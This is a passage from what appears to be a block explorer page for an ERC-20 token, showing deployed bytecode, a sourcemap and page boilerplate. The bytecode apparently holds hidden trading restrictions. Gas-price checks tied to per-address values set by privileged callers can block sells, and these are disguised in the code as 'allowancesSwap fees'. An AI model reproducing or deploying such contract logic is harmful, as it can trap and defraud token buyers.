9c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161065a91815260200190565b60405180910390a3505050565b5f33610674858285610772565b61067f858585610708565b506001949350505050565b6005546001600160a01b031633146104415760405163118cdaa760e01b815233600482015260240161051f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03831661073157604051634b637e8f60e11b81525f600482015260240161051f565b6001600160a01b03821661075a5760405163ec442f0560e01b81525f600482015260240161051f565b6104ed8383836107e7565b6104ed8383836001610aa9565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146104e757818110156107d957604051637dc7a0d960e11b81526001600160a01b0384166004820152602481018290526044810183905260640161051f565b6104e784848484035f610aa9565b325f9081526006602052604090205460ff1615610809576104ed838383610541565b600e54600160a01b900460ff166108625760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e20796574000000000000000000604482015260640161051f565b600e546001600160a01b03838116911614801561088857506001600160a01b0383163014155b156109cc576001600160a01b0383165f908152600860205260409020543a1180156108c957506001600160a01b0383165f9081526008602052604090205415155b1561092e5760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206665657360448201526e040dedc40e8e4c2dce6cccae440e8f608b1b606482015260840161051f565b600f546001600160a01b03165f908152600960205260409020543a11801561096e5750600f546001600160a01b03165f9081526009602052604090205415155b156109cc5760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b606482015260840161051f565b600e546001600160a01b038381169116148015906109f85750600e546001600160a01b03848116911614155b15610a9e576001600160a01b0383165f908152600860205260409020543a118015610a3957506001600160a01b0383165f9081526008602052604090205415155b15610a9e5760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206f6e207460448201526e0e4c2dce6cccae440cce4deda40e8f608b1b606482015260840161051f565b6104ed838383610541565b6001600160a01b038416610ad25760405163e602df0560e01b81525f600482015260240161051f565b6001600160a01b038316610afb57604051634a1406b160e11b81525f600482015260240161051f565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156104e757826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b6d91815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bc6575f80fd5b919050565b5f8060408385031215610bdc575f80fd5b610be583610bb0565b946020939093013593505050565b5f805f60608486031215610c05575f80fd5b610c0e84610bb0565b9250610c1c60208501610bb0565b929592945050506040919091013590565b5f60208284031215610c3d575f80fd5b610c4682610bb0565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f805f60608486031215610c73575f80fd5b610c7c84610bb0565b9250602084013567ffffffffffffffff811115610c97575f80fd5b8401601f81018613610ca7575f80fd5b803567ffffffffffffffff811115610cc157610cc1610c4d565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715610cee57610cee610c4d565b604052918252602081840181019290810189841115610d0b575f80fd5b6020850194505b83851015610d3157610d2385610bb0565b815260209485019401610d12565b50959895975050505060409390930135925050565b5f8060408385031215610d57575f80fd5b610d6083610bb0565b9150610d6e60208401610bb0565b90509250929050565b600181811c90821680610d8b57607f821691505b602082108103610da957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561037b57634e487b7160e01b5f52601160045260245ffdfea264697066735822122063cacee6b59832d0f8934bf120f805df0c030afa7593631bbef31e60d686ce2a64736f6c634300081a0033

Deployed Bytecode Sourcemap

11754:3640:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4871:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12701:389;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;12701:389:0;920:187:1;5165:99:0;5244:12;;5165:99;;;1258:25:1;;;1246:2;1231:18;5165:99:0;1112:177:1;13098:331:0;;;;;;:::i;:::-;;:::i;13519:216::-;;;:::i;:::-;;5073:84;;;5147:2;1815:36:1;;1803:2;1788:18;5073:84:0;1673:184:1;5272:118:0;;;;;;:::i;:::-;-1:-1:-1;;;;;5364:18:0;5337:7;5364:18;;;;;;;;;;;;5272:118;1372:103;;;:::i;11990:48::-;;;;;;:::i;:::-;;;;;;;;;;;;;;1103:87;1176:6;;1103:87;;-1:-1:-1;;;;;1176:6:0;;;2199:51:1;;2187:2;2172:18;1103:87:0;2053:203:1;4970:95:0;;;:::i;5398:182::-;;;;;;:::i;:::-;;:::i;15031:360::-;;;;;;:::i;:::-;;:::i;11933:50::-;;;;;;:::i;:::-;;;;;;;;;;;;;;5588:183;;;;;;:::i;:::-;-1:-1:-1;;;;;5736:18:0;;;5704:7;5736:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5588:183;1483:220;;;;;;:::i;:::-;;:::i;4871:91::-;4916:13;4949:5;4942:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4871:91;:::o;12701:389::-;12847:10;12803:4;12829:29;;;:17;:29;;;;;;;;12825:95;;;-1:-1:-1;;;;;12875:24:0;;;;;;:15;:24;;;;;:33;;;12825:95;12944:10;12934:21;;;;:9;:21;;;;;;;;12930:90;;;290:10;12972:27;;;;:13;:27;;;;;:36;;;12930:90;13030:30;13044:7;13053:6;13030:13;:30::i;:::-;;13078:4;13071:11;;12701:389;;;;;:::o;13098:331::-;13260:10;13221:4;13242:29;;;:17;:29;;;;;;;;13238:162;;;13288:31;13302:4;13308:2;13312:6;13288:13;:31::i;:::-;13238:162;;;13352:36;13371:4;13377:2;13381:6;13352:18;:36::i;:::-;;13238:162;-1:-1:-1;13417:4:0;13098:331;;;;;:::o;13519:216::-;1062:13;:11;:13::i;:::-;13571:70;:77;;-1:-1:-1;;13571:77:0;;::::1;13644:4;13571:77:::0;;::::1;::::0;;;13677:12:::1;::::0;-1:-1:-1;;;;;13677:12:0::1;13571:70;13659:32:::0;;;:9:::1;13571:70;13659:32:::0;13571:70;13659:32;;:39;;;;::::1;::::0;;::::1;::::0;;13709:11:::1;:18:::0;;-1:-1:-1;;;;13709:18:0::1;-1:-1:-1::0;;;13709:18:0::1;::::0;;13519:216::o;1372:103::-;1062:13;:11;:13::i;:::-;1437:30:::1;1464:1;1437:18;:30::i;:::-;1372:103::o:0;4970:95::-;5017:13;5050:7;5043:14;;;;;:::i;5398:182::-;5467:4;290:10;5523:27;290:10;5540:2;5544:5;5523:9;:27::i;15031:360::-;15144:10;15126:29;;;;:17;:29;;;;;;;;15122:262;;;15177:9;15172:160;15196:4;:11;15192:1;:15;15172:160;;;15233:36;15247:4;15253;15258:1;15253:7;;;;;;;;:::i;:::-;;;;;;;15262:6;15233:13;:36::i;:::-;15315:1;15288:15;:24;15304:4;15309:1;15304:7;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;15288:24:0;;;;;;;;;;;-1:-1:-1;15288:24:0;:28;15209:3;;15172:160;;;;15031:360;;;:::o;15122:262::-;15031:360;;;:::o;1483:220::-;1062:13;:11;:13::i;:::-;-1:-1:-1;;;;;1568:22:0;::::1;1564:93;;1614:31;::::0;-1:-1:-1;;;1614:31:0;;1642:1:::1;1614:31;::::0;::::1;2199:51:1::0;2172:18;;1614:31:0::1;;;;;;;;1564:93;1667:28;1686:8;1667:18;:28::i;:::-;1483:220:::0;:::o;5779:222::-;5879:4;290:10;5940:31;290:10;5956:7;5965:5;5940:8;:31::i;6650:1169::-;-1:-1:-1;;;;;6774:18:0;;6770:552;;6928:5;6912:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;6770:552:0;;-1:-1:-1;6770:552:0;;-1:-1:-1;;;;;6988:15:0;;6966:19;6988:15;;;;;;;;;;;7022:19;;;7018:117;;;7069:50;;-1:-1:-1;;;7069:50:0;;-1:-1:-1;;;;;4942:32:1;;7069:50:0;;;4924:51:1;4991:18;;;4984:34;;;5034:18;;;5027:34;;;4897:18;;7069:50:0;4722:345:1;7018:117:0;-1:-1:-1;;;;;7258:15:0;;:9;:15;;;;;;;;;;7276:19;;;;7258:37;;6770:552;-1:-1:-1;;;;;7338:16:0;;7334:435;;7504:12;:21;;;;;;;7334:435;;;-1:-1:-1;;;;;7720:13:0;;:9;:13;;;;;;;;;;:22;;;;;;7334:435;7801:2;-1:-1:-1;;;;;7786:25:0;7795:4;-1:-1:-1;;;;;7786:25:0;;7805:5;7786:25;;;;1258::1;;1246:2;1231:18;;1112:177;7786:25:0;;;;;;;;6650:1169;;;:::o;6009:283::-;6130:4;290:10;6188:37;6204:4;290:10;6219:5;6188:15;:37::i;:::-;6236:26;6246:4;6252:2;6256:5;6236:9;:26::i;:::-;-1:-1:-1;6280:4:0;;6009:283;-1:-1:-1;;;;6009:283:0:o;1198:166::-;1176:6;;-1:-1:-1;;;;;1176:6:0;290:10;1258:23;1254:103;;1305:40;;-1:-1:-1;;;1305:40:0;;290:10;1305:40;;;2199:51:1;2172:18;;1305:40:0;2053:203:1;1711:191:0;1804:6;;;-1:-1:-1;;;;;1821:17:0;;;-1:-1:-1;;;;;;1821:17:0;;;;;;;1854:40;;1804:6;;;1821:17;1804:6;;1854:40;;1785:16;;1854:40;1774:128;1711:191;:::o;6300:342::-;-1:-1:-1;;;;;6418:18:0;;6414:88;;6460:30;;-1:-1:-1;;;6460:30:0;;6487:1;6460:30;;;2199:51:1;2172:18;;6460:30:0;2053:203:1;6414:88:0;-1:-1:-1;;;;;6516:16:0;;6512:88;;6556:32;;-1:-1:-1;;;6556:32:0;;6585:1;6556:32;;;2199:51:1;2172:18;;6556:32:0;2053:203:1;6512:88:0;6610:24;6618:4;6624:2;6628:5;6610:7;:24::i;8267:164::-;8386:37;8395:5;8402:7;8411:5;8418:4;8386:8;:37::i;8933:603::-;-1:-1:-1;;;;;5736:18:0;;;9067:24;5736:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;9134:37:0;;9130:399;;9211:5;9192:16;:24;9188:214;;;9244:142;;-1:-1:-1;;;9244:142:0;;-1:-1:-1;;;;;4942:32:1;;9244:142:0;;;4924:51:1;4991:18;;;4984:34;;;5034:18;;;5027:34;;;4897:18;;9244:142:0;4722:345:1;9188:214:0;9445:57;9454:5;9461:7;9489:5;9470:16;:24;9496:5;9445:8;:57::i;13743:1280::-;13886:9;13868:28;;;;:17;:28;;;;;;;;13864:1152;;;13913:30;13927:4;13933:2;13937:5;13913:13;:30::i;13864:1152::-;14005:11;;-1:-1:-1;;;14005:11:0;;;;13997:47;;;;-1:-1:-1;;;13997:47:0;;5274:2:1;13997:47:0;;;5256:21:1;5313:2;5293:18;;;5286:30;5352:25;5332:18;;;5325:53;5395:18;;13997:47:0;5072:347:1;13997:47:0;14069:13;;-1:-1:-1;;;;;14063:19:0;;;14069:13;;14063:19;:44;;;;-1:-1:-1;;;;;;14086:21:0;;14102:4;14086:21;;14063:44;14059:571;;;-1:-1:-1;;;;;14168:21:0;;;;;;:15;:21;;;;;;14154:11;:35;:86;;;;-1:-1:-1;;;;;;14214:21:0;;;;;;:15;:21;;;;;;:26;;14154:86;14128:232;;;14283:57;;-1:-1:-1;;;14283:57:0;;5626:2:1;14283:57:0;;;5608:21:1;5665:2;5645:18;;;5638:30;5704:34;5684:18;;;5677:62;-1:-1:-1;;;5755:18:1;;;5748:45;5810:19;;14283:57:0;5424:411:1;14128:232:0;14432:12;;-1:-1:-1;;;;;14432:12:0;14418:27;;;;:13;:27;;;;;;14404:11;:41;:98;;;;-1:-1:-1;14484:12:0;;-1:-1:-1;;;;;14484:12:0;14470:27;;;;:13;:27;;;;;;:32;;14404:98;14378:237;;;14545:50;;-1:-1:-1;;;14545:50:0;;6042:2:1;14545:50:0;;;6024:21:1;6081:2;6061:18;;;6054:30;6120:34;6100:18;;;6093:62;-1:-1:-1;;;6171:18:1;;;6164:38;6219:19;;14545:50:0;5840:404:1;14378:237:0;14654:13;;-1:-1:-1;;;;;14648:19:0;;;14654:13;;14648:19;;;;:44;;-1:-1:-1;14679:13:0;;-1:-1:-1;;;;;14671:21:0;;;14679:13;;14671:21;;14648:44;14644:316;;;-1:-1:-1;;;;;14753:21:0;;;;;;:15;:21;;;;;;14739:11;:35;:86;;;;-1:-1:-1;;;;;;14799:21:0;;;;;;:15;:21;;;;;;:26;;14739:86;14713:232;;;14868:57;;-1:-1:-1;;;14868:57:0;;6451:2:1;14868:57:0;;;6433:21:1;6490:2;6470:18;;;6463:30;6529:34;6509:18;;;6502:62;-1:-1:-1;;;6580:18:1;;;6573:45;6635:19;;14868:57:0;6249:411:1;14713:232:0;14974:30;14988:4;14994:2;14998:5;14974:13;:30::i;8439:486::-;-1:-1:-1;;;;;8595:19:0;;8591:91;;8638:32;;-1:-1:-1;;;8638:32:0;;8667:1;8638:32;;;2199:51:1;2172:18;;8638:32:0;2053:203:1;8591:91:0;-1:-1:-1;;;;;8696:21:0;;8692:92;;8741:31;;-1:-1:-1;;;8741:31:0;;8769:1;8741:31;;;2199:51:1;2172:18;;8741:31:0;2053:203:1;8692:92:0;-1:-1:-1;;;;;8794:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;8840:78;;;;8891:7;-1:-1:-1;;;;;8875:31:0;8884:5;-1:-1:-1;;;;;8875:31:0;;8900:5;8875:31;;;;1258:25:1;;1246:2;1231:18;;1112:177;8875:31:0;;;;;;;;8439:486;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;:::-;2003:39;1862:186;-1:-1:-1;;;1862:186:1:o;2261:127::-;2322:10;2317:3;2313:20;2310:1;2303:31;2353:4;2350:1;2343:15;2377:4;2374:1;2367:15;2393:1315;2495:6;2503;2511;2564:2;2552:9;2543:7;2539:23;2535:32;2532:52;;;2580:1;2577;2570:12;2532:52;2603:29;2622:9;2603:29;:::i;:::-;2593:39;;2683:2;2672:9;2668:18;2655:32;2710:18;2702:6;2699:30;2696:50;;;2742:1;2739;2732:12;2696:50;2765:22;;2818:4;2810:13;;2806:27;-1:-1:-1;2796:55:1;;2847:1;2844;2837:12;2796:55;2887:2;2874:16;2913:18;2905:6;2902:30;2899:56;;;2935:18;;:::i;:::-;2981:6;2978:1;2974:14;3017:2;3011:9;3080:2;3076:7;3071:2;3067;3063:11;3059:25;3051:6;3047:38;3151:6;3139:10;3136:22;3115:18;3103:10;3100:34;3097:62;3094:88;;;3162:18;;:::i;:::-;3198:2;3191:22;3248;;;3298:2;3328:11;;;3324:20;;;3248:22;3286:15;;3356:19;;;3353:39;;;3388:1;3385;3378:12;3353:39;3420:2;3416;3412:11;3401:22;;3432:148;3448:6;3443:3;3440:15;3432:148;;;3514:23;3533:3;3514:23;:::i;:::-;3502:36;;3567:2;3465:12;;;;3558;3432:148;;;-1:-1:-1;2393:1315:1;;3599:6;;-1:-1:-1;;;;3674:2:1;3659:18;;;;3646:32;;-1:-1:-1;;2393:1315:1:o;3713:260::-;3781:6;3789;3842:2;3830:9;3821:7;3817:23;3813:32;3810:52;;;3858:1;3855;3848:12;3810:52;3881:29;3900:9;3881:29;:::i;:::-;3871:39;;3929:38;3963:2;3952:9;3948:18;3929:38;:::i;:::-;3919:48;;3713:260;;;;;:::o;3978:380::-;4057:1;4053:12;;;;4100;;;4121:61;;4175:4;4167:6;4163:17;4153:27;;4121:61;4228:2;4220:6;4217:14;4197:18;4194:38;4191:161;;4274:10;4269:3;4265:20;4262:1;4255:31;4309:4;4306:1;4299:15;4337:4;4334:1;4327:15;4191:161;;3978:380;;;:::o;4363:127::-;4424:10;4419:3;4415:20;4412:1;4405:31;4455:4;4452:1;4445:15;4479:4;4476:1;4469:15;4495:222;4560:9;;;4581:10;;;4578:133;;;4633:10;4628:3;4624:20;4621:1;4614:31;4668:4;4665:1;4658:15;4696:4;4693:1;4686:15

Swarm Source

ipfs://63cacee6b59832d0f8934bf120f805df0c030afa7593631bbef31e60d686ce2a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.